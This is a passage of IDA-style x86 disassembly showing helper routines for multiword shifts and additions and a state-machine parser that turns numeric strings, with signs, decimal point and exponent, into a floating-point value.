loc_438297:				; CODE XREF: sub_438240+25j
					; sub_438240+46j
		mov	edx, [ebp+arg_0]
		add	edx, 4
		push	edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+4]
		push	ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+4]
		push	eax
		call	sub_438200
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jz	short loc_4382CC
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+8]
		add	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax+8], edx


loc_4382CC:				; CODE XREF: sub_438240+7Bj
		mov	ecx, [ebp+arg_0]
		add	ecx, 8
		push	ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [edx+8]
		push	eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+8]
		push	edx
		call	sub_438200
		add	esp, 0Ch
		mov	esp, ebp
		pop	ebp
		retn
sub_438240	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4382F0	proc near		; CODE XREF: sub_4383C0+5Bp
					; sub_4383C0+67p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 80000000h
		neg	ecx
		sbb	ecx, ecx
		neg	ecx
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+4]
		and	eax, 80000000h
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		shl	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax], edx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+4]
		shl	edx, 1
		or	edx, [ebp+var_4]
		mov	eax, [ebp+arg_0]
		mov	[eax+4], edx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+8]
		shl	edx, 1
		or	edx, [ebp+var_8]
		mov	eax, [ebp+arg_0]
		mov	[eax+8], edx
		mov	esp, ebp
		pop	ebp
		retn
sub_4382F0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_438350	proc near		; CODE XREF: sub_439080+382p
					; sub_43B250+316p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+8]
		and	ecx, 1
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 80000000h
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+4]
		and	eax, 1
		neg	eax
		sbb	eax, eax
		and	eax, 80000000h
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+8]
		shr	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax+8], edx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+4]
		shr	edx, 1
		or	edx, [ebp+var_8]
		mov	eax, [ebp+arg_0]
		mov	[eax+4], edx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		shr	edx, 1
		or	edx, [ebp+var_4]
		mov	eax, [ebp+arg_0]
		mov	[eax], edx
		mov	esp, ebp
		pop	ebp
		retn
sub_438350	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4383C0	proc near		; CODE XREF: sub_438500+8A7p

var_10		= word ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	[ebp+var_10], 404Eh
		mov	eax, [ebp+arg_8]
		mov	dword ptr [eax], 0
		mov	ecx, [ebp+arg_8]
		mov	dword ptr [ecx+4], 0
		mov	edx, [ebp+arg_8]
		mov	dword ptr [edx+8], 0
		jmp	short loc_4383FD
; ---------------------------------------------------------------------------


loc_4383EB:				; CODE XREF: sub_4383C0+B2j
		mov	eax, [ebp+arg_4]
		sub	eax, 1
		mov	[ebp+arg_4], eax
		mov	ecx, [ebp+arg_0]
		add	ecx, 1
		mov	[ebp+arg_0], ecx


loc_4383FD:				; CODE XREF: sub_4383C0+29j
		cmp	[ebp+arg_4], 0
		jbe	short loc_438477
		mov	edx, [ebp+arg_8]
		mov	eax, [edx]
		mov	[ebp+var_C], eax
		mov	ecx, [edx+4]
		mov	[ebp+var_8], ecx
		mov	edx, [edx+8]
		mov	[ebp+var_4], edx
		mov	eax, [ebp+arg_8]
		push	eax
		call	sub_4382F0
		add	esp, 4
		mov	ecx, [ebp+arg_8]
		push	ecx
		call	sub_4382F0
		add	esp, 4
		lea	edx, [ebp+var_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		call	sub_438240
		add	esp, 8
		mov	ecx, [ebp+arg_8]
		push	ecx
		call	sub_4382F0
		add	esp, 4
		mov	edx, [ebp+arg_0]
		movsx	eax, byte ptr [edx]
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], 0
		mov	[ebp+var_4], 0
		lea	ecx, [ebp+var_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		call	sub_438240
		add	esp, 8
		jmp	loc_4383EB
; ---------------------------------------------------------------------------


loc_438477:				; CODE XREF: sub_4383C0+41j
					; sub_4383C0+101j
		mov	eax, [ebp+arg_8]
		cmp	dword ptr [eax+8], 0
		jnz	short loc_4384C3
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx+4]
		shr	edx, 10h
		mov	eax, [ebp+arg_8]
		mov	[eax+8], edx
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx+4]
		shl	edx, 10h
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax]
		shr	ecx, 10h
		or	edx, ecx
		mov	eax, [ebp+arg_8]
		mov	[eax+4], edx
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx]
		shl	edx, 10h
		mov	eax, [ebp+arg_8]
		mov	[eax], edx
		mov	cx, [ebp+var_10]
		sub	cx, 10h
		mov	[ebp+var_10], cx
		jmp	short loc_438477
; ---------------------------------------------------------------------------


loc_4384C3:				; CODE XREF: sub_4383C0+BEj
					; sub_4383C0+12Aj
		mov	edx, [ebp+arg_8]
		mov	eax, [edx+8]
		and	eax, 8000h
		test	eax, eax
		jnz	short loc_4384EC
		mov	ecx, [ebp+arg_8]
		push	ecx
		call	sub_4382F0
		add	esp, 4
		mov	dx, [ebp+var_10]
		sub	dx, 1
		mov	[ebp+var_10], dx
		jmp	short loc_4384C3
; ---------------------------------------------------------------------------


loc_4384EC:				; CODE XREF: sub_4383C0+110j
		mov	eax, [ebp+arg_8]
		mov	cx, [ebp+var_10]
		mov	[eax+0Ah], cx
		mov	esp, ebp
		pop	ebp
		retn
sub_4383C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_438500	proc near		; CODE XREF: sub_435570+1Ap
					; .XComp0:004355CAp ...

var_B4		= byte ptr -0B4h
var_B0		= dword	ptr -0B0h
var_AC		= dword	ptr -0ACh
var_A8		= byte ptr -0A8h
var_A4		= byte ptr -0A4h
var_A0		= dword	ptr -0A0h
var_9C		= dword	ptr -9Ch
var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= byte ptr -8Ch
var_88		= dword	ptr -88h
var_84		= byte ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= word ptr -60h
var_5E		= dword	ptr -5Eh
var_5A		= dword	ptr -5Ah
var_56		= word ptr -56h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= word ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_21		= byte ptr -21h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 0B4h
		lea	eax, [ebp+var_38]
		mov	[ebp+var_68], eax
		mov	word ptr [ebp+var_1C], 0
		mov	[ebp+var_74], 1
		mov	[ebp+var_70], 0
		mov	[ebp+var_54], 0
		mov	[ebp+var_C], 0
		mov	[ebp+var_18], 0
		mov	[ebp+var_40], 0
		mov	[ebp+var_78], 0
		mov	[ebp+var_14], 0
		mov	[ebp+var_6C], 0
		mov	[ebp+var_44], 0
		mov	[ebp+var_4C], 0
		mov	ecx, [ebp+arg_8]
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_4]
		mov	[ebp+var_64], edx
		jmp	short loc_438579
; ---------------------------------------------------------------------------


loc_438570:				; CODE XREF: sub_438500:loc_4385A5j
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax


loc_438579:				; CODE XREF: sub_438500+6Ej
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 20h
		jz	short loc_4385A5
		mov	eax, [ebp+var_4]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 9
		jz	short loc_4385A5
		mov	edx, [ebp+var_4]
		movsx	eax, byte ptr [edx]
		cmp	eax, 0Ah
		jz	short loc_4385A5
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 0Dh
		jnz	short loc_4385A7


loc_4385A5:				; CODE XREF: sub_438500+82j
					; sub_438500+8Dj ...
		jmp	short loc_438570
; ---------------------------------------------------------------------------


loc_4385A7:				; CODE XREF: sub_438500+A3j
					; sub_438500:loc_438D03j
		cmp	[ebp+var_4C], 0Ah
		jz	loc_438D08
		mov	eax, [ebp+var_4]
		mov	cl, [eax]
		mov	byte ptr [ebp+var_3C], cl
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4C]
		mov	[ebp+var_80], eax
		cmp	[ebp+var_80], 0Bh
		ja	loc_438D03
		mov	ecx, [ebp+var_80]
		jmp	off_438F1A[ecx*4]


loc_4385DC:				; DATA XREF: .XComp0:off_438F1Ao
		movsx	edx, byte ptr [ebp+var_3C]
		cmp	edx, 31h
		jl	short loc_438600
		movsx	eax, byte ptr [ebp+var_3C]
		cmp	eax, 39h
		jg	short loc_438600
		mov	[ebp+var_4C], 3
		mov	ecx, [ebp+var_4]
		sub	ecx, 1
		mov	[ebp+var_4], ecx
		jmp	short loc_438675
; ---------------------------------------------------------------------------


loc_438600:				; CODE XREF: sub_438500+E3j
					; sub_438500+ECj
		movsx	edx, byte ptr [ebp+var_3C]
		movsx	eax, byte_4524F4
		cmp	edx, eax
		jnz	short loc_438618
		mov	[ebp+var_4C], 5
		jmp	short loc_438675
; ---------------------------------------------------------------------------


loc_438618:				; CODE XREF: sub_438500+10Dj
		mov	cl, byte ptr [ebp+var_3C]
		mov	[ebp+var_84], cl
		cmp	[ebp+var_84], 2Bh
		jz	short loc_438647
		cmp	[ebp+var_84], 2Dh
		jz	short loc_438656
		cmp	[ebp+var_84], 30h
		jz	short loc_43863E
		jmp	short loc_438665
; ---------------------------------------------------------------------------


loc_43863E:				; CODE XREF: sub_438500+13Aj
		mov	[ebp+var_4C], 1
		jmp	short loc_438675
; ---------------------------------------------------------------------------


loc_438647:				; CODE XREF: sub_438500+128j
		mov	[ebp+var_4C], 2
		mov	word ptr [ebp+var_1C], 0
		jmp	short loc_438675
; ---------------------------------------------------------------------------


loc_438656:				; CODE XREF: sub_438500+131j
		mov	[ebp+var_4C], 2
		mov	word ptr [ebp+var_1C], 8000h
		jmp	short loc_438675
; ---------------------------------------------------------------------------


loc_438665:				; CODE XREF: sub_438500+13Cj
		mov	[ebp+var_4C], 0Ah
		mov	edx, [ebp+var_4]
		sub	edx, 1
		mov	[ebp+var_4], edx


loc_438675:				; CODE XREF: sub_438500+FEj
					; sub_438500+116j ...
		jmp	loc_438D03
; ---------------------------------------------------------------------------


loc_43867A:				; CODE XREF: sub_438500+D5j
					; DATA XREF: .XComp0:00438F1Eo
		mov	[ebp+var_54], 1
		movsx	eax, byte ptr [ebp+var_3C]
		cmp	eax, 31h
		jl	short loc_4386A8
		movsx	ecx, byte ptr [ebp+var_3C]
		cmp	ecx, 39h
		jg	short loc_4386A8
		mov	[ebp+var_4C], 3
		mov	edx, [ebp+var_4]
		sub	edx, 1
		mov	[ebp+var_4], edx
		jmp	loc_43872B
; ---------------------------------------------------------------------------


loc_4386A8:				; CODE XREF: sub_438500+188j
					; sub_438500+191j
		movsx	eax, byte ptr [ebp+var_3C]
		movsx	ecx, byte_4524F4
		cmp	eax, ecx
		jnz	short loc_4386C0
		mov	[ebp+var_4C], 4
		jmp	short loc_43872B
; ---------------------------------------------------------------------------


loc_4386C0:				; CODE XREF: sub_438500+1B5j
		movsx	edx, byte ptr [ebp+var_3C]
		mov	[ebp+var_88], edx
		mov	eax, [ebp+var_88]
		sub	eax, 2Bh
		mov	[ebp+var_88], eax
		cmp	[ebp+var_88], 3Ah
		ja	short loc_43871B
		mov	edx, [ebp+var_88]
		xor	ecx, ecx
		mov	cl, byte_438F5A[edx]
		jmp	off_438F4A[ecx*4]


loc_4386F7:				; CODE XREF: sub_438500+D5j
					; DATA XREF: .XComp0:00438F4Eo
		mov	[ebp+var_4C], 1
		jmp	short loc_43872B
; ---------------------------------------------------------------------------


loc_438700:				; CODE XREF: sub_438500+D5j
					; sub_438500+1F0j
					; DATA XREF: ...
		mov	[ebp+var_4C], 6
		jmp	short loc_43872B
; ---------------------------------------------------------------------------


loc_438709:				; CODE XREF: sub_438500+D5j
					; sub_438500+1F0j
					; DATA XREF: ...
		mov	eax, [ebp+var_4]
		sub	eax, 1
		mov	[ebp+var_4], eax
		mov	[ebp+var_4C], 0Bh
		jmp	short loc_43872B
; ---------------------------------------------------------------------------


loc_43871B:				; CODE XREF: sub_438500+D5j
					; sub_438500+1E0j ...
		mov	[ebp+var_4C], 0Ah
		mov	ecx, [ebp+var_4]
		sub	ecx, 1
		mov	[ebp+var_4], ecx


loc_43872B:				; CODE XREF: sub_438500+1A3j
					; sub_438500+1BEj ...
		jmp	loc_438D03
; ---------------------------------------------------------------------------


loc_438730:				; CODE XREF: sub_438500+D5j
					; DATA XREF: .XComp0:00438F22o
		movsx	edx, byte ptr [ebp+var_3C]
		cmp	edx, 31h
		jl	short loc_438754
		movsx	eax, byte ptr [ebp+var_3C]
		cmp	eax, 39h
		jg	short loc_438754
		mov	[ebp+var_4C], 3
		mov	ecx, [ebp+var_4]
		sub	ecx, 1
		mov	[ebp+var_4], ecx
		jmp	short loc_438796
; ---------------------------------------------------------------------------


loc_438754:				; CODE XREF: sub_438500+237j
					; sub_438500+240j
		movsx	edx, byte ptr [ebp+var_3C]
		movsx	eax, byte_4524F4
		cmp	edx, eax
		jnz	short loc_43876C
		mov	[ebp+var_4C], 5
		jmp	short loc_438796
; ---------------------------------------------------------------------------


loc_43876C:				; CODE XREF: sub_438500+261j
		mov	cl, byte ptr [ebp+var_3C]
		mov	[ebp+var_8C], cl
		cmp	[ebp+var_8C], 30h
		jz	short loc_438780
		jmp	short loc_438789
; ---------------------------------------------------------------------------


loc_438780:				; CODE XREF: sub_438500+27Cj
		mov	[ebp+var_4C], 1
		jmp	short loc_438796
; ---------------------------------------------------------------------------


loc_438789:				; CODE XREF: sub_438500+27Ej
		mov	[ebp+var_4C], 0Ah
		mov	edx, [ebp+var_64]
		mov	[ebp+var_4], edx


loc_438796:				; CODE XREF: sub_438500+252j
					; sub_438500+26Aj ...
		jmp	loc_438D03
; ---------------------------------------------------------------------------


loc_43879B:				; CODE XREF: sub_438500+D5j
					; DATA XREF: .XComp0:00438F26o
		mov	[ebp+var_54], 1
		jmp	short loc_4387B5
; ---------------------------------------------------------------------------


loc_4387A4:				; CODE XREF: sub_438500:loc_43882Fj
		mov	eax, [ebp+var_4]
		mov	cl, [eax]
		mov	byte ptr [ebp+var_3C], cl
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx


loc_4387B5:				; CODE XREF: sub_438500+2A2j
		cmp	dword_4524F0, 1
		jle	short loc_4387D9
		push	4
		mov	eax, [ebp+var_3C]
		and	eax, 0FFh
		push	eax
		call	sub_429750
		add	esp, 8
		mov	[ebp+var_90], eax
		jmp	short loc_4387F7
; ---------------------------------------------------------------------------


loc_4387D9:				; CODE XREF: sub_438500+2BCj
		mov	ecx, [ebp+var_3C]
		and	ecx, 0FFh
		mov	edx, off_4522E4
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 4
		mov	[ebp+var_90], eax


loc_4387F7:				; CODE XREF: sub_438500+2D7j
		cmp	[ebp+var_90], 0
		jz	short loc_438834
		cmp	[ebp+var_70], 19h
		jnb	short loc_438826
		mov	ecx, [ebp+var_70]
		add	ecx, 1
		mov	[ebp+var_70], ecx
		movsx	edx, byte ptr [ebp+var_3C]
		sub	edx, 30h
		mov	eax, [ebp+var_68]
		mov	[eax], dl
		mov	ecx, [ebp+var_68]
		add	ecx, 1
		mov	[ebp+var_68], ecx
		jmp	short loc_43882F
; ---------------------------------------------------------------------------


loc_438826:				; CODE XREF: sub_438500+304j
		mov	edx, [ebp+var_6C]
		add	edx, 1
		mov	[ebp+var_6C], edx


loc_43882F:				; CODE XREF: sub_438500+324j
		jmp	loc_4387A4
; ---------------------------------------------------------------------------


loc_438834:				; CODE XREF: sub_438500+2FEj
		movsx	eax, byte ptr [ebp+var_3C]
		movsx	ecx, byte_4524F4
		cmp	eax, ecx
		jnz	short loc_43884C
		mov	[ebp+var_4C], 4
		jmp	short loc_4388AE
; ---------------------------------------------------------------------------


loc_43884C:				; CODE XREF: sub_438500+341j
		movsx	edx, byte ptr [ebp+var_3C]
		mov	[ebp+var_94], edx
		mov	eax, [ebp+var_94]
		sub	eax, 2Bh
		mov	[ebp+var_94], eax
		cmp	[ebp+var_94], 3Ah
		ja	short loc_43889E
		mov	edx, [ebp+var_94]
		xor	ecx, ecx
		mov	cl, byte_438FA1[edx]
		jmp	off_438F95[ecx*4]


loc_438883:				; DATA XREF: .XComp0:00438F99o
		mov	[ebp+var_4C], 6
		jmp	short loc_4388AE
; ---------------------------------------------------------------------------


loc_43888C:				; CODE XREF: sub_438500+37Cj
					; DATA XREF: .XComp0:off_438F95o
		mov	eax, [ebp+var_4]
		sub	eax, 1
		mov	[ebp+var_4], eax
		mov	[ebp+var_4C], 0Bh
		jmp	short loc_4388AE
; ---------------------------------------------------------------------------


loc_43889E:				; CODE XREF: sub_438500+36Cj
					; sub_438500+37Cj
					; DATA XREF: ...
		mov	[ebp+var_4C], 0Ah
		mov	ecx, [ebp+var_4]
		sub	ecx, 1
		mov	[ebp+var_4], ecx


loc_4388AE:				; CODE XREF: sub_438500+34Aj
					; sub_438500+38Aj ...
		jmp	loc_438D03
; ---------------------------------------------------------------------------


loc_4388B3:				; CODE XREF: sub_438500+D5j
					; DATA XREF: .XComp0:00438F2Ao
		mov	[ebp+var_54], 1
		mov	[ebp+var_C], 1
		cmp	[ebp+var_70], 0
		jnz	short loc_4388EE
		jmp	short loc_4388DA
; ---------------------------------------------------------------------------


loc_4388C9:				; CODE XREF: sub_438500+3ECj
		mov	edx, [ebp+var_4]
		mov	al, [edx]
		mov	byte ptr [ebp+var_3C], al
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx


loc_4388DA:				; CODE XREF: sub_438500+3C7j
		movsx	edx, byte ptr [ebp+var_3C]
		cmp	edx, 30h
		jnz	short loc_4388EE
		mov	eax, [ebp+var_6C]
		sub	eax, 1
		mov	[ebp+var_6C], eax
		jmp	short loc_4388C9
; ---------------------------------------------------------------------------


loc_4388EE:				; CODE XREF: sub_438500+3C5j
					; sub_438500+3E1j
		jmp	short loc_438901
; ---------------------------------------------------------------------------


loc_4388F0:				; CODE XREF: sub_438500:loc_438979j
		mov	ecx, [ebp+var_4]
		mov	dl, [ecx]
		mov	byte ptr [ebp+var_3C], dl
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax


loc_438901:				; CODE XREF: sub_438500:loc_4388EEj
		cmp	dword_4524F0, 1
		jle	short loc_438926
		push	4
		mov	ecx, [ebp+var_3C]
		and	ecx, 0FFh
		push	ecx
		call	sub_429750
		add	esp, 8
		mov	[ebp+var_98], eax
		jmp	short loc_438943
; ---------------------------------------------------------------------------


loc_438926:				; CODE XREF: sub_438500+408j
		mov	edx, [ebp+var_3C]
		and	edx, 0FFh
		mov	eax, off_4522E4
		xor	ecx, ecx
		mov	cx, [eax+edx*2]
		and	ecx, 4
		mov	[ebp+var_98], ecx


loc_438943:				; CODE XREF: sub_438500+424j
		cmp	[ebp+var_98], 0
		jz	short loc_43897E
		cmp	[ebp+var_70], 19h
		jnb	short loc_438979
		mov	edx, [ebp+var_70]
		add	edx, 1
		mov	[ebp+var_70], edx
		movsx	eax, byte ptr [ebp+var_3C]
		sub	eax, 30h
		mov	ecx, [ebp+var_68]
		mov	[ecx], al
		mov	edx, [ebp+var_68]
		add	edx, 1
		mov	[ebp+var_68], edx
		mov	eax, [ebp+var_6C]
		sub	eax, 1
		mov	[ebp+var_6C], eax


loc_438979:				; CODE XREF: sub_438500+450j
		jmp	loc_4388F0
; ---------------------------------------------------------------------------


loc_43897E:				; CODE XREF: sub_438500+44Aj
		movsx	ecx, byte ptr [ebp+var_3C]
		mov	[ebp+var_9C], ecx
		mov	edx, [ebp+var_9C]
		sub	edx, 2Bh
		mov	[ebp+var_9C], edx
		cmp	[ebp+var_9C], 3Ah
		ja	short loc_4389D0
		mov	ecx, [ebp+var_9C]
		xor	eax, eax
		mov	al, byte_438FE8[ecx]
		jmp	off_438FDC[eax*4]


loc_4389B5:				; DATA XREF: .XComp0:00438FE0o
		mov	[ebp+var_4C], 6
		jmp	short loc_4389E0
; ---------------------------------------------------------------------------


loc_4389BE:				; CODE XREF: sub_438500+4AEj
					; DATA XREF: .XComp0:off_438FDCo
		mov	edx, [ebp+var_4]
		sub	edx, 1
		mov	[ebp+var_4], edx
		mov	[ebp+var_4C], 0Bh
		jmp	short loc_4389E0
; ---------------------------------------------------------------------------


loc_4389D0:				; CODE XREF: sub_438500+49Ej
					; sub_438500+4AEj
					; DATA XREF: ...
		mov	[ebp+var_4C], 0Ah
		mov	eax, [ebp+var_4]
		sub	eax, 1
		mov	[ebp+var_4], eax


loc_4389E0:				; CODE XREF: sub_438500+4BCj
					; sub_438500+4CEj
		jmp	loc_438D03
; ---------------------------------------------------------------------------


loc_4389E5:				; CODE XREF: sub_438500+D5j
					; DATA XREF: .XComp0:00438F2Eo
		mov	[ebp+var_C], 1
		cmp	dword_4524F0, 1
		jle	short loc_438A11
		push	4
		mov	ecx, [ebp+var_3C]
		and	ecx, 0FFh
		push	ecx
		call	sub_429750
		add	esp, 8
		mov	[ebp+var_A0], eax
		jmp	short loc_438A2E
; ---------------------------------------------------------------------------


loc_438A11:				; CODE XREF: sub_438500+4F3j
		mov	edx, [ebp+var_3C]
		and	edx, 0FFh
		mov	eax, off_4522E4
		xor	ecx, ecx
		mov	cx, [eax+edx*2]
		and	ecx, 4
		mov	[ebp+var_A0], ecx


loc_438A2E:				; CODE XREF: sub_438500+50Fj
		cmp	[ebp+var_A0], 0
		jz	short loc_438A49
		mov	[ebp+var_4C], 4
		mov	edx, [ebp+var_4]
		sub	edx, 1
		mov	[ebp+var_4], edx
		jmp	short loc_438A56
; ---------------------------------------------------------------------------


loc_438A49:				; CODE XREF: sub_438500+535j
		mov	[ebp+var_4C], 0Ah
		mov	eax, [ebp+var_64]
		mov	[ebp+var_4], eax


loc_438A56:				; CODE XREF: sub_438500+547j
		jmp	loc_438D03
; ---------------------------------------------------------------------------


loc_438A5B:				; CODE XREF: sub_438500+D5j
					; DATA XREF: .XComp0:00438F32o
		mov	ecx, [ebp+var_4]
		sub	ecx, 2
		mov	[ebp+var_64], ecx
		movsx	edx, byte ptr [ebp+var_3C]
		cmp	edx, 31h
		jl	short loc_438A88
		movsx	eax, byte ptr [ebp+var_3C]
		cmp	eax, 39h
		jg	short loc_438A88
		mov	[ebp+var_4C], 9
		mov	ecx, [ebp+var_4]
		sub	ecx, 1
		mov	[ebp+var_4], ecx
		jmp	short loc_438ADD
; ---------------------------------------------------------------------------


loc_438A88:				; CODE XREF: sub_438500+56Bj
					; sub_438500+574j
		mov	dl, byte ptr [ebp+var_3C]
		mov	[ebp+var_A4], dl
		cmp	[ebp+var_A4], 2Bh
		jz	short loc_438AC7
		cmp	[ebp+var_A4], 2Dh
		jz	short loc_438AB7
		cmp	[ebp+var_A4], 30h
		jz	short loc_438AAE
		jmp	short loc_438AD0
; ---------------------------------------------------------------------------


loc_438AAE:				; CODE XREF: sub_438500+5AAj
		mov	[ebp+var_4C], 8
		jmp	short loc_438ADD
; ---------------------------------------------------------------------------


loc_438AB7:				; CODE XREF: sub_438500+5A1j
		mov	[ebp+var_4C], 7
		mov	[ebp+var_74], 0FFFFFFFFh
		jmp	short loc_438ADD
; ---------------------------------------------------------------------------


loc_438AC7:				; CODE XREF: sub_438500+598j
		mov	[ebp+var_4C], 7
		jmp	short loc_438ADD
; ---------------------------------------------------------------------------


loc_438AD0:				; CODE XREF: sub_438500+5ACj
		mov	[ebp+var_4C], 0Ah
		mov	eax, [ebp+var_64]
		mov	[ebp+var_4], eax


loc_438ADD:				; CODE XREF: sub_438500+586j
					; sub_438500+5B5j ...
		jmp	loc_438D03
; ---------------------------------------------------------------------------


loc_438AE2:				; CODE XREF: sub_438500+D5j
					; DATA XREF: .XComp0:00438F3Ao
		mov	[ebp+var_18], 1
		jmp	short loc_438AFC
; ---------------------------------------------------------------------------


loc_438AEB:				; CODE XREF: sub_438500+605j
		mov	ecx, [ebp+var_4]
		mov	dl, [ecx]
		mov	byte ptr [ebp+var_3C], dl
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax


loc_438AFC:				; CODE XREF: sub_438500+5E9j
		movsx	ecx, byte ptr [ebp+var_3C]
		cmp	ecx, 30h
		jnz	short loc_438B07
		jmp	short loc_438AEB
; ---------------------------------------------------------------------------


loc_438B07:				; CODE XREF: sub_438500+603j
		movsx	edx, byte ptr [ebp+var_3C]
		cmp	edx, 31h
		jl	short loc_438B2B
		movsx	eax, byte ptr [ebp+var_3C]
		cmp	eax, 39h
		jg	short loc_438B2B
		mov	[ebp+var_4C], 9
		mov	ecx, [ebp+var_4]
		sub	ecx, 1
		mov	[ebp+var_4], ecx
		jmp	short loc_438B3B
; ---------------------------------------------------------------------------


loc_438B2B:				; CODE XREF: sub_438500+60Ej
					; sub_438500+617j
		mov	[ebp+var_4C], 0Ah
		mov	edx, [ebp+var_4]
		sub	edx, 1
		mov	[ebp+var_4], edx


loc_438B3B:				; CODE XREF: sub_438500+629j
		jmp	loc_438D03
; ---------------------------------------------------------------------------


loc_438B40:				; CODE XREF: sub_438500+D5j
					; DATA XREF: .XComp0:00438F36o
		movsx	eax, byte ptr [ebp+var_3C]
		cmp	eax, 31h
		jl	short loc_438B64
		movsx	ecx, byte ptr [ebp+var_3C]
		cmp	ecx, 39h
		jg	short loc_438B64
		mov	[ebp+var_4C], 9
		mov	edx, [ebp+var_4]
		sub	edx, 1
		mov	[ebp+var_4], edx
		jmp	short loc_438B8E
; ---------------------------------------------------------------------------


loc_438B64:				; CODE XREF: sub_438500+647j
					; sub_438500+650j
		mov	al, byte ptr [ebp+var_3C]
		mov	[ebp+var_A8], al
		cmp	[ebp+var_A8], 30h
		jz	short loc_438B78
		jmp	short loc_438B81
; ---------------------------------------------------------------------------


loc_438B78:				; CODE XREF: sub_438500+674j
		mov	[ebp+var_4C], 8
		jmp	short loc_438B8E
; ---------------------------------------------------------------------------


loc_438B81:				; CODE XREF: sub_438500+676j
		mov	[ebp+var_4C], 0Ah
		mov	ecx, [ebp+var_64]
		mov	[ebp+var_4], ecx


loc_438B8E:				; CODE XREF: sub_438500+662j
					; sub_438500+67Fj
		jmp	loc_438D03
; ---------------------------------------------------------------------------


loc_438B93:				; CODE XREF: sub_438500+D5j
					; DATA XREF: .XComp0:00438F3Eo
		mov	[ebp+var_18], 1
		mov	[ebp+var_7C], 0
		jmp	short loc_438BB4
; ---------------------------------------------------------------------------


loc_438BA3:				; CODE XREF: sub_438500:loc_438C22j
		mov	edx, [ebp+var_4]
		mov	al, [edx]
		mov	byte ptr [ebp+var_3C], al
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx


loc_438BB4:				; CODE XREF: sub_438500+6A1j
		cmp	dword_4524F0, 1
		jle	short loc_438BD9
		push	4
		mov	edx, [ebp+var_3C]
		and	edx, 0FFh
		push	edx
		call	sub_429750
		add	esp, 8
		mov	[ebp+var_AC], eax
		jmp	short loc_438BF6
; ---------------------------------------------------------------------------


loc_438BD9:				; CODE XREF: sub_438500+6BBj
		mov	eax, [ebp+var_3C]
